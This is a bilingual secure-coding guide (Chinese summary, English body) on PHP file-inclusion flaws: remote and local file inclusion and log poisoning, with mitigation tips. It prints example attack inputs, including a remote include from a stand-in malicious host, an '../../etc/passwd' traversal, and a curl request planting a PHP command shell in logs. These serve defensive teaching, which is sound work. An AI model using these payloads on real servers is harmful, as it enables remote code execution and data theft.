動(dòng)態(tài)包含或要求用戶輸入控制的文件會(huì)引入嚴(yán)重的安全漏洞。 1. 遠(yuǎn)程文件包含（RFI）漏洞允許攻擊者通過(guò)外部URL注入惡意代碼，應(yīng)避免使用遠(yuǎn)程URL並採(cǎi)用白名單機(jī)制。 2. 本地文件包含（LFI）漏洞使攻擊者可通過(guò)路徑遍歷訪問(wèn)敏感文件，應(yīng)避免直接使用用戶輸入、使用固定選項(xiàng)列表並嚴(yán)格驗(yàn)證輸入。 3. 攻擊者還可能通過(guò)日誌或上傳文件注入PHP代碼執(zhí)行命令，應(yīng)禁用動(dòng)態(tài)包含、限製文件權(quán)限並假設(shè)所有文件均可能被篡改?？傊?，動(dòng)態(tài)包含需嚴(yán)格驗(yàn)證和配置，優(yōu)先採(cǎi)用更安全的替代方案。

Dynamic include or require statements based on user input can introduce serious security vulnerabilities into your application. The main issue is that they allow attackers to potentially control which files are included, leading to remote code execution or data leakage.

1. Remote File Inclusion (RFI) Vulnerabilities

If your application allows dynamic includes from external URLs and doesn't restrict where the file comes from, an attacker could point the include to a malicious server. For example:

 include($_GET['page'] . '.php');

If allow_url_include is enabled in PHP, an attacker might try something like:

 ?page=http://malicious-site.com/evil-code

This would execute whatever code the attacker has hosted remotely. This kind of vulnerability gives full control of your server to the attacker.

Tip: Avoid allowing remote URLs in include statements altogether. If you must use dynamic includes, only accept predefined values from a whitelist.

2. Local File Inclusion (LFI) Vulnerabilities

Even if you're only including local files, letting user input directly influence which file gets included opens the door for LFI attacks. Attackers may try to navigate up directory trees using sequences like ../ to access sensitive files.

Example request:

 ?page=../../etc/passwd

Depending on server configuration, this could expose system files or even log files that might be used in further attacks.

To reduce risk:

• Don't directly use user input in file paths.
• Use a fixed list of allowed options instead.
• Sanitize and validate all input rigorously if dynamic inclusion is unavoidable.

3. Code Injection Through Log Files or Temporary Uploads

Sometimes attackers exploit LFI by injecting PHP code into a file that's known to be accessible through the include path — such as server logs or uploaded files.

For instance, if they can write to a log file via a crafted HTTP request containing PHP code:

 curl http://yoursite.com/?page=<?php system($_GET[&#39;cmd&#39;]); ?>

Then, by including that log file dynamically, they can execute arbitrary commands on your server.

Key precautions:

• Never assume any file on your server is safe from tampering.
• Disable dynamic includes wherever possible.
• Restrict permissions so included files can't be easily modified or accessed externally.

In short, dynamically including files based on user input is risky business. It's not impossible to do securely, but it requires strict validation, careful configuration, and ideally, a safer alternative like routing through a controller or using a template system.

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